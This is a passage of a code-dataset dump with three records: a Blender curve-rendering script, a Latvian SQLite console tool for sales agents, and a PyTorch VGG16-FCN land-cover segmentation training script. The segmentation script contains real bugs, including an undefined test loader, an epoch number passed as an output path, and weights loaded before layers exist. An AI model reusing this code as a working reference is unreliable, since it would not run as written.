mix=nodes.new(\"ShaderNodeMixShader\")\n    currentMaterial.node_tree.links.new(bsdf.outputs[0],mix.inputs[1])\n    currentMaterial.node_tree.links.new(emission.outputs[0],mix.inputs[2])\n\n    materialOutput=nodes.get(\"Material Output\")\n    currentMaterial.node_tree.links.new(mix.outputs[0],materialOutput.inputs[0])\n    bpy.data.objects[GeometryName].data.materials.append(currentMaterial)\n\n\n#Wrapper function to add a blue type B material\ndef AddTypeBMaterialRed(GeometryName):\n    return AddTypeBMaterial(GeometryName,(1,0,0,1))\n\n###############################################################################\n# Removing the original cube\n###############################################################################\n\nbpy.data.objects[\"Cube\"].select=True\nbpy.ops.object.delete()\n\n###############################################################################\n# Adding extruding element\n###############################################################################\n\nlocalScale=0.001\nbpy.ops.curve.primitive_nurbs_circle_add(radius=1, view_align=False, enter_editmode=False, location=(0, 0, 0))\nbpy.data.objects['NurbsCircle'].scale=(localScale,localScale,localScale)\n\n###############################################################################\n# Moving the camera\n###############################################################################\n\nbpy.data.objects[\"Camera\"].location=(0,0,5)\nbpy.data.objects[\"Camera\"].rotation_euler=(0,0,0)\n\n###############################################################################\n# Changing the horizon \n###############################################################################\n\nbpy.context.scene.render.engine = 'CYCLES'\nbpy.context.scene.world.horizon_color = (1,1,1)\n\n###############################################################################\n# Adding the curves \n###############################################################################\n\nglow=False\n\nname1=\"StartCurveA\"\nname2=\"StartCurveB\"\npps=CoordinatesPoints(Wrapper01,Wrapper02,10)\npoints=CoordsScaling(pps,center=(-0.95,-1,0))\npoints2=CoordsScaling(pps,center=(-1.05,-1,0))\nAddCurveFromCoords(points,objName=name1)\nAddCurveFromCoords(points2,objName=name2)\n\nif glow:\n    \n    bpy.data.objects[\"NurbsCircle\"].select=False\n    bpy.data.objects[\"Lamp\"].select=True\n    bpy.ops.object.delete()\n    bpy.ops.mesh.primitive_plane_add(location=(0,0,-0.0005))\n    bpy.data.objects[\"Plane\"].scale=(4,4,4)\n    bpy.context.scene.world.horizon_color = (0,0,0)\n    AddTypeBMaterialRed(name1)\n\nelse:\n    AddTypeAMaterialBlue(name1)\n    AddTypeAMaterialRed(name2)\n", "repo_name": "TavoGLC/DataAnalysisByExample", "sub_path": "Generative/curves.py", "file_name": "curves.py", "file_ext": "py", "file_size_in_byte": 8517, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 42, "dataset": "github-code", "pt": "81", "api": [{"api_name": "numpy.linspace", "line_number": 81, "usage_type": "call"}, {"api_name": "numpy.meshgrid", "line_number": 82, "usage_type": "call"}, {"api_name": "numpy.cos", "line_number": 100, "usage_type": "call"}, {"api_name": "numpy.sin", "line_number": 103, "usage_type": "call"}, {"api_name": "bpy.data.curves.new", "line_number": 125, "usage_type": "call"}, {"api_name": "bpy.data", "line_number": 125, "usage_type": "attribute"}, {"api_name": "bpy.data.objects.new", "line_number": 126, "usage_type": "call"}, {"api_name": "bpy.data", "line_number": 126, "usage_type": "attribute"}, {"api_name": "bpy.context", "line_number": 128, "usage_type": "attribute"}, {"api_name": "bpy.data", "line_number": 141, "usage_type": "attribute"}, {"api_name": "bpy.data", "line_number": 142, "usage_type": "attribute"}, {"api_name": "bpy.data.materials.new", "line_number": 165, "usage_type": "call"}, {"api_name": "bpy.data", "line_number": 165, "usage_type": "attribute"}, {"api_name": "bpy.data", "line_number": 177, "usage_type": "attribute"}, {"api_name": "bpy.data.materials.new", "line_number": 204, "usage_type": "call"}, {"api_name": "bpy.data", "line_number": 204, "usage_type": "attribute"}, {"api_name": "bpy.data", "line_number": 224, "usage_type": "attribute"}, {"api_name": "bpy.data", "line_number": 235, "usage_type": "attribute"}, {"api_name": "bpy.ops.object.delete", "line_number": 236, "usage_type": "call"}, {"api_name": "bpy.ops", "line_number": 236, "usage_type": "attribute"}, {"api_name": "bpy.ops.curve.primitive_nurbs_circle_add", "line_number": 243, "usage_type": "call"}, {"api_name": "bpy.ops", "line_number": 243, "usage_type": "attribute"}, {"api_name": "bpy.data", "line_number": 244, "usage_type": "attribute"}, {"api_name": "bpy.data", "line_number": 250, "usage_type": "attribute"}, {"api_name": "bpy.data", "line_number": 251, "usage_type": "attribute"}, {"api_name": "bpy.context", "line_number": 257, "usage_type": "attribute"}, {"api_name": "bpy.context", "line_number": 258, "usage_type": "attribute"}, {"api_name": "bpy.data", "line_number": 276, "usage_type": "attribute"}, {"api_name": "bpy.data", "line_number": 277, "usage_type": "attribute"}, {"api_name": "bpy.ops.object.delete", "line_number": 278, "usage_type": "call"}, {"api_name": "bpy.ops", "line_number": 278, "usage_type": "attribute"}, {"api_name": "bpy.ops.mesh.primitive_plane_add", "line_number": 279, "usage_type": "call"}, {"api_name": "bpy.ops", "line_number": 279, "usage_type": "attribute"}, {"api_name": "bpy.data", "line_number": 280, "usage_type": "attribute"}, {"api_name": "bpy.context", "line_number": 281, "usage_type": "attribute"}]}
{"seq_id": "22295225205", "text": "import sqlite3\nfrom os import system\n\ncnt = sqlite3.connect(\"backup.dp\")  \ncursor  =  cnt.cursor ()\n\n#cursor.execute('''CREATE TABLE agenti ( id INTEGER(5) PRIMARY KEY NOT NULL , vardschar TEXT(15)  NOT NULL, uzvardschar TEXT(15)  NOT NULL,pilseta char(35),Valst char DEFAULT[LV], gada_apgrozijums char INTEGER(7,2), comission decimal(7,2));''')\ndef add_agent():\n  s_id = input('Rakstit agenta Id:')\n  s_name = input('Uzraksti vardu:')\n  s_uzvard = input('Uzraksti uzvards:')\n  s_city = input('Uzrakstiet pilsetu:')\n  s_gada_apgrozijums = input(\"Uzrakstie gada_apgrozijums: \")\n  s_comission = input(\"Uzrakstie kada comission: \")\n  s_valst = input(\"Uzrakstie kada valst( LV , EST or LT) : \")\n  cursor.execute(\"\"\"\nINSERT INTO agenti(id, vardschar ,uzvardschar , pilseta,gada_apgrozijums,comission, Valst)\nVALUES (?,?,?,?,?,?,?)\n\"\"\", (s_id, s_name, s_uzvard, s_city, s_gada_apgrozijums, s_comission,s_valst))\n  cnt.commit ()\n  print ( 'Data entered successfully.' )\ndef all_agents():\n  print(\"ID \" ,  \"Vards \",   \"Uzvards \",  \"pilseta \",  \"valst \" ,  \"gadapgroz \" ,\"comission\" )\n  query = cursor.execute(\"SELECT * FROM agenti\")\n  data = cursor.fetchall()\n  for d in data:\n    print(d)\n\n#--------------------------------------------------------------------------------------  \n#Palielini komisiju visiem aģentiem \"LV\"\ncursor.execute('''UPDATE agenti SET comission=comission+20 WHERE Valst = \"LV\" ;''')\n#--------------------------------------------------------------------------------------\n#Noapaļo gada ienākumus līdz veselam skaitlim\ncursor.execute(\"SELECT ROUND(gada_apgrozijums,-1) FROM agenti\")\n#--------------------------------------------------------------------------------------\ndef gada_apgrozijum_summu_tikai_LV():\n  print(\"gada apgrozijumu summu LV\")\n  print(\"Vards \", \"g_jums \", \"Valst\")\n  cursor.execute('''SELECT vardschar , gada_apgrozijums, Valst FROM agenti WHERE Valst= \"LV\";''')\n  data = cursor.fetchall()\n  for q in data:\n    print(q)\n    \n  cursor.execute(''';''')\n  lv_year = cursor.fetchall()\n  print(\"LV gada apgrozijums ir: \",lv_year)\n  #--------------------------------------------------------------------------------------\n  \ndef gada_apgrozijum_summu_tikai_EST():\n  print(\"gada apgrozijumu summu EST\")\n  print(\"Vards \",\"g_jums \", \"Valst\")\n  cursor.execute('''SELECT vardschar ,gada_apgrozijums, Valst FROM agenti WHERE Valst= \"EST\";''')\n  data = cursor.fetchall()\n  for w in data:\n    print(w)\n#--------------------------------------------------------------------------------------\ndef gada_apgrozijum_summu_tikai_LT():\n  print(\"gada apgrozijumu summu LT\")\n  print(\"Vards \",\"g_jums \", \"Valst\")\n  cursor.execute('''SELECT vardschar , gada_apgrozijums, Valst FROM agenti WHERE Valst= \"LT\";''')\n  data = cursor.fetchall()\n  for e in data:\n    print(e)\n    \ndef visaugstākais_komisijas_procents():\n  print(\"visaugstākais komisijas procents\")\n  cursor.execute('''SELECT id, vardschar , comission FROM agenti ORDER BY comission DESC;''')\n  print(\"id  \", \"vards  \", \"comission\" )\n  data = cursor.fetchall()\n  for r in data:\n    print(r)\n\n\n\ndef tikai_lv_agenti():\n#--------------------------------------------------------------------------------\n  print(\"ID     \" ,  \"Vards     \",    \"Uzvards      \",  \"pilseta    \",  \"valst    \" ,  \"gadapgroz   \" ,\"comission\" )\n  query = cursor.execute('''SELECT * FROM agenti WHERE Valst= \"LV\";''')\n  data = cursor.fetchall()\n  for d in data:\n    print(d)\ndef tikai_EST_agenti():\n#--------------------------------------------------------------------------------\n  print(\"ID     \" ,  \"Vards     \",    \"Uzvards      \",  \"pilseta    \",  \"valst    \" ,  \"gadapgroz   \" ,\"comission\" )\n  query = cursor.execute('''SELECT * FROM agenti WHERE Valst= \"EST\";''')\n  data = cursor.fetchall()\n  for h in data:\n    print(h)\ndef tikai_LT_agenti():\n#--------------------------------------------------------------------------------\n  print(\"ID     \" ,  \"Vards     \",    \"Uzvards      \",  \"pilseta    \",  \"valst    \" ,  \"gadapgroz   \" ,\"comission\" )\n  query = cursor.execute('''SELECT * FROM agenti WHERE Valst= \"LT\";''')\n  data = cursor.fetchall()\n  for j in data:\n    print(j)\n#--------------------------------------------------------------------------------\ndef main():\n    print(\" 1-Add agent\",\"\\n\", \"2-gada apgrozijum summu tikai LV\",\"\\n\", \"3- gada apgrozijum summu tikai EST\",\"\\n\" , \"4- gada apgrozijum summu tikai LT\",\"\\n\", \"5-paskatit visas agent\",\"\\n\",\"6- tikai LV agenti\",\"\\n\", \"7- tikai EST agenti\",\"\\n\", \"8 - tikai LT agenti\")\n    choice = input(\"Please make your choice: \").strip()\n    if choice == \"1\":\n        add_agent()\n    elif choice == \"2\":\n        gada_apgrozijum_summu_tikai_LV()\n    elif choice == \"3\":\n        gada_apgrozijum_summu_tikai_EST()\n    elif choice == \"4\":\n        gada_apgrozijum_summu_tikai_LT()\n    elif choice == \"5\":\n        all_agents()\n    elif choice == \"6\":\n        tikai_lv_agenti()\n    elif choice == \"7\":\n        tikai_EST_agenti()\n    elif choice == \"8\":\n        tikai_LT_agenti()\n    else:\n        print(\"Invalid input. Please try again.\")\n\nwhile True:\n    system('clear')\n    main()\n    input(\"Press enter to continue: \")\n", "repo_name": "ar4cha/sql", "sub_path": "main.py", "file_name": "main.py", "file_ext": "py", "file_size_in_byte": 5112, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "sqlite3.connect", "line_number": 4, "usage_type": "call"}, {"api_name": "os.system", "line_number": 120, "usage_type": "call"}]}
{"seq_id": "7970945618", "text": "# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Fri Nov  6 18:41:16 2020\r\n\r\n@author: YX\r\n\"\"\"\r\n\r\nimport torchvision\r\nimport torchvision.models as models\r\nimport torch\r\nimport torch.nn as nn\r\nimport torch.optim as optim\r\nimport torch.nn.functional as F\r\nimport torchvision.transforms as transforms\r\nfrom torch.utils.data import Dataset , DataLoader\r\nfrom torch.utils import model_zoo\r\nfrom PIL import Image\r\nimport numpy as np\r\nfrom scipy import misc\r\nimport glob\r\nfrom tqdm import tqdm\r\nimport matplotlib.pyplot as plt\r\nimport os\r\nimport time\r\nimport random\r\nimport matplotlib.pyplot as plt\r\nimport matplotlib \r\n\r\nimport warnings\r\nwarnings.filterwarnings(\"ignore\")\r\n\r\ndef read_masks(filepath):\r\n    '''\r\n    Read masks from directory and tranform to categorical\r\n    '''\r\n\r\n    masks = np.empty((512,512))\r\n    mask = misc.imread(filepath,mode = \"RGB\")\r\n    mask = (mask >= 128).astype(int)\r\n    mask = 4 * mask[:, :, 0] + 2 * mask[:, :, 1] + mask[:, :, 2]\r\n    masks[mask == 3] = 0  # (Cyan: 011) Urban land \r\n    masks[mask == 6] = 1  # (Yellow: 110) Agriculture land \r\n    masks[mask == 5] = 2  # (Purple: 101) Rangeland \r\n    masks[mask == 2] = 3  # (Green: 010) Forest land \r\n    masks[mask == 1] = 4  # (Blue: 001) Water \r\n    masks[mask == 7] = 5  # (White: 111) Barren land \r\n    masks[mask == 0] = 6  # (Black: 000) Unknown\r\n    masks[mask == 4] = 6  # (Red: 100) Unknown\r\n    return masks\r\n\r\ndef return_mask(mask):\r\n    maskimg = np.zeros((512,512,3))\r\n    maskimg[mask == 1 ,0] = 255\r\n    maskimg[mask == 2 ,0] = 255\r\n    maskimg[mask == 5 ,0] = 255\r\n    \r\n    maskimg[mask == 0 ,1] = 255\r\n    maskimg[mask == 1 ,1] = 255\r\n    maskimg[mask == 3 ,1] = 255\r\n    maskimg[mask == 5 ,1] = 255\r\n    \r\n    maskimg[mask == 0 ,2] = 255\r\n    maskimg[mask == 2 ,2] = 255\r\n    maskimg[mask == 4 ,2] = 255\r\n    maskimg[mask == 5 ,2] = 255\r\n    return maskimg\r\n\r\nclass hwdata(Dataset):\r\n    def __init__(self , root , transform = None):\r\n        self.root = root\r\n        self.transform = transform\r\n        self.images = None\r\n        self.labels = None\r\n        self.sat_filenames = []\r\n        self.mask_filenames = []\r\n        for filename in sorted(glob.glob(self.root + r\"\\*.jpg\" ), key=os.path.getmtime):\r\n            self.sat_filenames.append(filename)\r\n            m_filename = filename.replace(\"sat.jpg\",\"mask.png\")\r\n            self.mask_filenames.append(m_filename)\r\n\r\n        self.length = len(self.sat_filenames)\r\n        # print(self.length)\r\n        # print(self.length)\r\n    \r\n    def _transform(self, img, lbl):\r\n        \r\n        rand_flip = np.random.rand()\r\n        if rand_flip < 0.3:\r\n            img = np.fliplr(img)\r\n            lbl = np.fliplr(lbl) \r\n        elif rand_flip > 0.7:\r\n            img = np.flipud(img)\r\n            lbl = np.flipud(lbl) \r\n        img = transforms.ToTensor()(img.copy()).float()\r\n        lbl = transforms.ToTensor()(lbl.copy()).long()\r\n        # img = transforms.ColorJitter(brightness=0.5, contrast=1)(img)\r\n        return img, lbl   \r\n    \r\n    def __getitem__(self,index):\r\n        sat_image_path = self.sat_filenames[index]\r\n        mask_image_path = self.mask_filenames[index]\r\n        sat_image = misc.imread(sat_image_path,mode = \"RGB\").astype(float)\r\n        mask_image = read_masks(mask_image_path)\r\n\r\n        if self.transform:     #convert PIL to tensor or resize.....\r\n            return self._transform(sat_image, mask_image)\r\n        else:\r\n            sat_image = transforms.ToTensor()(sat_image).float()\r\n            mask_image = transforms.ToTensor()(mask_image)\r\n        return sat_image , mask_image\r\n    \r\n    def __len__(self):\r\n        return self.length\r\n\r\n\r\ntrainset_path = r\"C:\\Users\\YH\\Desktop\\CVDL\\CVDL_HW2\\hw2-yohschang\\hw2_data\\p2_data\\train\"\r\ntrainset = hwdata(root = trainset_path , transform = False) \r\n\r\nvalset_path = r\"C:\\Users\\YH\\Desktop\\CVDL\\CVDL_HW2\\hw2-yohschang\\hw2_data\\p2_data\\validation\"\r\nvalset = hwdata(root = valset_path , transform =  False)\r\n\r\ntrainset_loader = DataLoader(trainset , batch_size = 8 ,shuffle = True)\r\nvalset_loader = DataLoader(valset , batch_size=10 , shuffle = False)\r\n\r\n\r\n#%%\r\nclass VGG(nn.Module):\r\n    def __init__(self, pretrained=True):\r\n        super(VGG, self).__init__()\r\n        pretrained_model = models.vgg16(pretrained=pretrained)\r\n        pretrained_params = pretrained_model.state_dict()\r\n        keys = list(pretrained_params.keys())\r\n        new_dict = {}\r\n        for index, key in enumerate(self.state_dict().keys()):\r\n            new_dict[key] = pretrained_params[keys[index]]\r\n        self.load_state_dict(new_dict)\r\n        # conv1 1/2\r\n        self.conv1_1 = nn.Conv2d(3, 64, kernel_size=3, padding=1)\r\n        self.relu1_1 = nn.ReLU(inplace=True)\r\n        self.conv1_2 = nn.Conv2d(64, 64, kernel_size=3, padding=1)\r\n        self.relu1_2 = nn.ReLU(inplace=True)\r\n        self.pool1 = nn.MaxPool2d(kernel_size=2, stride=2)\r\n\r\n        # conv2 1/4\r\n        self.conv2_1 = nn.Conv2d(64, 128, kernel_size=3, padding=1)\r\n        self.relu2_1 = nn.ReLU(inplace=True)\r\n        self.conv2_2 = nn.Conv2d(128, 128, kernel_size=3, padding=1)\r\n        self.relu2_2 = nn.ReLU(inplace=True)\r\n        self.pool2 = nn.MaxPool2d(kernel_size=2, stride=2)\r\n\r\n        # conv3 1/8\r\n        self.conv3_1 = nn.Conv2d(128, 256, kernel_size=3, padding=1)\r\n        self.relu3_1 = nn.ReLU(inplace=True)\r\n        self.conv3_2 = nn.Conv2d(256, 256, kernel_size=3, padding=1)\r\n        self.relu3_2 = nn.ReLU(inplace=True)\r\n        self.conv3_3 = nn.Conv2d(256, 256, kernel_size=3, padding=1)\r\n        self.relu3_3 = nn.ReLU(inplace=True)\r\n        self.pool3 = nn.MaxPool2d(kernel_size=2, stride=2)\r\n\r\n        # conv4 1/16\r\n        self.conv4_1 = nn.Conv2d(256, 512, kernel_size=3, padding=1)\r\n        self.relu4_1 = nn.ReLU(inplace=True)\r\n        self.conv4_2 = nn.Conv2d(512, 512, kernel_size=3, padding=1)\r\n        self.relu4_2 = nn.ReLU(inplace=True)\r\n        self.conv4_3 = nn.Conv2d(512, 512, kernel_size=3, padding=1)\r\n        self.relu4_3 = nn.ReLU(inplace=True)\r\n        self.pool4 = nn.MaxPool2d(kernel_size=2, stride=2)\r\n\r\n        # conv5 1/32\r\n        self.conv5_1 = nn.Conv2d(512, 512, kernel_size=3, padding=1)\r\n        self.relu5_1 = nn.ReLU(inplace=True)\r\n        self.conv5_2 = nn.Conv2d(512, 512, kernel_size=3, padding=1)\r\n        self.relu5_2 = nn.ReLU(inplace=True)\r\n        self.conv5_3 = nn.Conv2d(512, 512, kernel_size=3, padding=1)\r\n        self.relu5_3 = nn.ReLU(inplace=True)\r\n        self.pool5 = nn.MaxPool2d(kernel_size=2, stride=2)\r\n        \r\n        # load pretrained params from torchvision.models.vgg16(pretrained=True)\r\n\r\n\r\n    def forward(self, x):\r\n        x = self.relu1_1(self.conv1_1(x))\r\n        x = self.relu1_2(self.conv1_2(x))\r\n        x = self.pool1(x)\r\n        pool1 = x\r\n\r\n        x = self.relu2_1(self.conv2_1(x))\r\n        x = self.relu2_2(self.conv2_2(x))\r\n        x = self.pool2(x)\r\n        pool2 = x\r\n\r\n        x = self.relu3_1(self.conv3_1(x))\r\n        x = self.relu3_2(self.conv3_2(x))\r\n        x = self.relu3_3(self.conv3_3(x))\r\n        x = self.pool3(x)\r\n        pool3 = x\r\n\r\n        x = self.relu4_1(self.conv4_1(x))\r\n        x = self.relu4_2(self.conv4_2(x))\r\n        x = self.relu4_3(self.conv4_3(x))\r\n        x = self.pool4(x)\r\n        pool4 = x\r\n\r\n        x = self.relu5_1(self.conv5_1(x))\r\n        x = self.relu5_2(self.conv5_2(x))\r\n        x = self.relu5_3(self.conv5_3(x))\r\n        x = self.pool5(x)\r\n        pool5 = x\r\n\r\n        return pool1, pool2, pool3, pool4, pool5\r\nclass VGG16_fcn32(nn.Module):\r\n    def __init__(self, backbone=\"vgg\"):\r\n        super().__init__()\r\n        self.num_classes = 7\r\n        if backbone == \"vgg\":\r\n            self.features = VGG()\r\n\r\n        # deconv1 1/16\r\n        self.deconv1 = nn.ConvTranspose2d(512, 512, kernel_size=3, stride=2, padding=1, output_padding=1)\r\n        self.bn1 = nn.BatchNorm2d(512)\r\n        self.relu1 = nn.ReLU()\r\n\r\n        # deconv1 1/8\r\n        self.deconv2 = nn.ConvTranspose2d(512, 256, kernel_size=3, stride=2, padding=1, output_padding=1)\r\n        self.bn2 = nn.BatchNorm2d(256)\r\n        self.relu2 = nn.ReLU()\r\n\r\n        # deconv1 1/4\r\n        self.deconv3 = nn.ConvTranspose2d(256, 128, kernel_size=3, stride=2, padding=1, output_padding=1)\r\n        self.bn3 = nn.BatchNorm2d(128)\r\n        self.relu3 = nn.ReLU()\r\n\r\n        # deconv1 1/2\r\n        self.deconv4 = nn.ConvTranspose2d(128, 64, kernel_size=3, stride=2, padding=1, output_padding=1)\r\n        self.bn4 = nn.BatchNorm2d(64)\r\n        self.relu4 = nn.ReLU()\r\n\r\n        # deconv1 1/1\r\n        self.deconv5 = nn.ConvTranspose2d(64, 32, kernel_size=3, stride=2, padding=1, output_padding=1)\r\n        self.bn5 = nn.BatchNorm2d(32)\r\n        self.relu5 = nn.ReLU()\r\n\r\n        self.classifier = nn.Conv2d(32, 7, kernel_size=1)\r\n\r\n    def forward(self, x):\r\n        features = self.features(x)\r\n\r\n        y = self.bn1(self.relu1(self.deconv1(features[4])) + features[3])\r\n\r\n        y = self.bn2(self.relu2(self.deconv2(y)) + features[2])\r\n\r\n        y = self.bn3(self.relu3(self.deconv3(y)) + features[1])\r\n\r\n        y = self.bn4(self.relu4(self.deconv4(y)) + features[0])\r\n\r\n        y = self.bn5(self.relu5(self.deconv5(y)))\r\n\r\n        y = self.classifier(y)\r\n        return y\r\nmodel = VGG16_fcn32().to(\"cuda\")\r\n# print(model)\r\n\r\n#%%\r\ndef mean_iou_score(pred, labels):\r\n    mean_iou = 0\r\n    ious = []\r\n    for i in range(6):\r\n        tp_fp = np.sum(pred == i)\r\n        tp_fn = np.sum(labels == i)\r\n        tp = np.sum((pred == i) * (labels == i))\r\n        # print(tp_fp , tp_fn,  tp)\r\n        iou = tp / (tp_fp + tp_fn - tp)\r\n        mean_iou += iou / 6\r\n        ious.append(iou)\r\n    #     print('class #%d : %1.5f'%(i, iou))\r\n    # print('\\nmean_iou: %f\\n' % mean_iou)\r\n    return np.nanmean(ious)\r\n\r\ndef set_learning_rate(optimizer, lr):\r\n    for param_group in optimizer.param_groups:\r\n        param_group['lr'] *= lr\r\n\r\n#%%\r\ncriterion = nn.CrossEntropyLoss().to(\"cuda\")\r\noptimizer = optim.Adam(model.parameters() , lr = 0.005) # momentum : how much the renewal depend on previous\r\n\r\ndef pixel_acc(pred, target):\r\n    correct = np.sum(pred == target)\r\n    total   = np.sum(target == target)\r\n    return correct / total\r\n\r\ndef train(model , epoch, start_epoch):\r\n    save_cri = 0\r\n    for e in range(start_epoch+1 , epoch):\r\n        if e > 0 and e % 10 == 0:\r\n            set_learning_rate(optimizer ,0.7)\r\n        train_acc = 0\r\n        train_loss = 0\r\n        mean_iou = 0\r\n        p_acc = 0\r\n        model = model.train()\r\n        for batch_idx , (data , target )in enumerate(trainset_loader):\r\n            data , target = data.to(\"cuda\") , target.to(\"cuda\", dtype=torch.int64)\r\n            optimizer.zero_grad()\r\n            output = model(data)\r\n            loss = criterion(output , target[:,0,:,:])\r\n            loss.backward()\r\n            optimizer.step() \r\n\r\n            label_pred = output.data.max(1)[1].data.cpu().numpy() #max(1) : find max in axis = 1 ; [1] after max turn the value to position\r\n            label_true = target.data.cpu().numpy()\r\n            train_loss += float(loss.item())\r\n            for pred , labels in zip(label_pred , label_true):\r\n                labels = labels[0,:,:]\r\n                p_acc += pixel_acc(pred, labels)\r\n                mean_iou += mean_iou_score(pred, labels)\r\n                 \r\n                \r\n            print(\" load_size = \" +str(round(100.*batch_idx*len(data)/len(trainset_loader.dataset)))\r\n                    + \"% , loss = \" + str(round(loss.item(),5)))    \r\n        print(train_loss/ len(trainset_loader.dataset))\r\n        train_accuracy = 100. * mean_iou / len(trainset_loader.dataset)\r\n        P_ACC= 100.* p_acc / len(trainset_loader.dataset)\r\n        print(\"m_iou : \" +str(train_accuracy) +\"pix_acc : \"+str(P_ACC))\r\n        val_acc = validation(model ,e)\r\n        \r\n        # if val_acc > save_cri:\r\n        #     save_cri = val_acc\r\n        #     state = {'model': model.state_dict(), 'optimizer': optimizer.state_dict(), 'epoch': e}\r\n        #     torch.save(state, r\"C:\\Users\\YH\\Desktop\\CVDL_HW2\\hw2-yohschang\\hw2_2_model.pth\")\r\n\r\n#%%\r\ndef validation(model ,output_dir ):\r\n    model = model.eval()  # turn model into evaluation mode \r\n    tot_loss = 0\r\n    correct = 0\r\n    p_acc = 0\r\n    count = 0\r\n    label_trues, label_preds = [], []\r\n    with torch.no_grad():   # free gpu memory use for back-up\r\n        for data , target in testset_loader:\r\n            data , target = data.to(\"cuda\") , target.to(\"cuda\", dtype=torch.int64)\r\n            output = model(data)\r\n            label_pred = output.data.max(1)[1].data.cpu().numpy()\r\n            label_true = target.data.cpu().numpy()\r\n            for pred , labels in zip(label_pred , label_true):\r\n                labels = labels[0,:,:].astype(int)\r\n                p_acc += pixel_acc(pred, labels)\r\n                mean_iou = mean_iou_score(pred, labels)\r\n\r\n                correct += mean_iou\r\n                predimg = return_mask(pred)           \r\n                misc.imsave(output_dir +\"\\\\\"+str(count).zfill(4)+\".png\",predimg)\r\n                # misc.imsave(output_dir+\"\\\\\"+str(count).zfill(4)+\".png\",labelimg)\r\n                count+=1\r\n    \r\n    tot_loss /= len(testset_loader.dataset)\r\n    P_ACC= 100.* p_acc / len(testset_loader.dataset)\r\n    \r\n    print(\"++++++++++++++++++++++++++++++++\")\r\n    import mean_iou_evaluate as mie\r\n    pred = mie.read_masks(r\"C:\\Users\\YH\\Desktop\\CVDL_HW2\\hw2-yohschang\\hw2_data\\p2_data\\pred\")\r\n    labels = mie.read_masks(r\"C:\\Users\\YH\\Desktop\\CVDL_HW2\\hw2-yohschang\\hw2_data\\p2_data\\validation\")\r\n    m_iou = mie.mean_iou_score(pred, labels)\r\n    print(\" loss : \" + str(tot_loss) + \" Accuracy : \"+ str(round(m_iou*100,5)) )\r\n    print(\"pixel accuracy : \" + str(P_ACC))\r\n    print(\"++++++++++++++++++++++++++++++++\")\r\n    return m_iou*100\r\n\r\n\r\n#%%\r\n# import os\r\n# if os.path.exists(r\"C:\\Users\\YH\\Desktop\\CVDL_HW2\\hw2-yohschang\\hw2_2_model.pth\"):\r\n#     checkpoint = torch.load(r\"C:\\Users\\YH\\Desktop\\CVDL_HW2\\hw2-yohschang\\hw2_2_model.pth\")\r\n#     model.load_state_dict(checkpoint['model'])\r\n#     optimizer.load_state_dict(checkpoint['optimizer'])\r\n#     start_epoch = checkpoint['epoch']\r\n#     # start_epoch = 0\r\n#     print(checkpoint['epoch'])\r\n# else:\r\n#     start_epoch = 0\r\n    \r\ntrain(model , 120 , 0)\r\n# torch.cuda.empty_cache()\r\n    \r\n#%%   \r\n# import sys\r\n# test_img_dir = sys.argv[1]\r\n# output_img_dir = sys.argv[2]\r\n\r\n# # test_img_dir = r\"hw2_data\\p2_data\\validation\"\r\n# # output_img_dir = r\"hw2_data\\p2_data\\pred\"\r\n\r\n# optimizer = optim.Adam(model.parameters() , lr = 0.005) # momentum : how much the renewal depend on previous\r\n\r\n# import os\r\n# if os.path.exists(r\"hw2_2_model.pth\"):\r\n#     checkpoint = torch.load(r\"hw2_2_model.pth\")\r\n#     model.load_state_dict(checkpoint['model'])\r\n#     optimizer.load_state_dict(checkpoint['optimizer'])\r\n\r\n# else:\r\n#     print(\"please click 'hw2_2_model_download' to download problem 2 model\")\r\n\r\n\r\n# testset_path = test_img_dir \r\n# testset = gettestdata(root = testset_path , transform = None)\r\n# testset_loader = DataLoader(testset , batch_size=10 , shuffle = False)\r\n# test(model ,output_img_dir)\r\n", "repo_name": "yohschang/Deep_learning", "sub_path": "DLCV_HW/semantic segmention.py", "file_name": "semantic segmention.py", "file_ext": "py", "file_size_in_byte": 15007, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "warnings.filterwarnings", "line_number": 30, "usage_type": "call"}, {"api_name": "numpy.empty", "line_number": 37, "usage_type": "call"}, {"api_name": "scipy.misc.imread", "line_number": 38, "usage_type": "call"}, {"api_name": "scipy.misc", "line_number": 38, "usage_type": "name"}, {"api_name": "numpy.zeros", "line_number": 52, "usage_type": "call"}, {"api_name": "torch.utils.data.Dataset", "line_number": 68, "usage_type": "name"}, {"api_name": "glob.glob", "line_number": 76, "usage_type": "call"}, {"api_name": "os.path", "line_number": 76, "usage_type": "attribute"}, {"api_name": "numpy.random.rand", "line_number": 87, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 87, "usage_type": "attribute"}, {"api_name": "numpy.fliplr", "line_number": 89, "usage_type": "call"}, {"api_name": "numpy.fliplr", "line_number": 90, "usage_type": "call"}, {"api_name": "numpy.flipud", "line_number": 92, "usage_type": "call"}, {"api_name": "numpy.flipud", "line_number": 93, "usage_type": "call"}, {"api_name": "torchvision.transforms.ToTensor", "line_number": 94, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 94, "usage_type": "name"}, {"api_name": "torchvision.transforms.ToTensor", "line_number": 95, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 95, "usage_type": "name"}, {"api_name": "scipy.misc.imread", "line_number": 102, "usage_type": "call"}, {"api_name": "scipy.misc", "line_number": 102, "usage_type": "name"}, {"api_name": "torchvision.transforms.ToTensor", "line_number": 108, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 108, "usage_type": "name"}, {"api_name": "torchvision.transforms.ToTensor", "line_number": 109, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 109, "usage_type": "name"}, {"api_name": "torch.utils.data.DataLoader", "line_number": 122, "usage_type": "call"}, {"api_name": "torch.utils.data.DataLoader", "line_number": 123, "usage_type": "call"}, {"api_name": "torch.nn.Module", "line_number": 127, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 127, "usage_type": "name"}, {"api_name": "torchvision.models.vgg16", "line_number": 130, "usage_type": "call"}, {"api_name": "torchvision.models", "line_number": 130, "usage_type": "name"}, {"api_name": "torch.nn.Conv2d", "line_number": 138, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 138, "usage_type": "name"}, {"api_name": "torch.nn.ReLU", "line_number": 139, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 139, "usage_type": "name"}, {"api_name": "torch.nn.Conv2d", "line_number": 140, "usage_type": 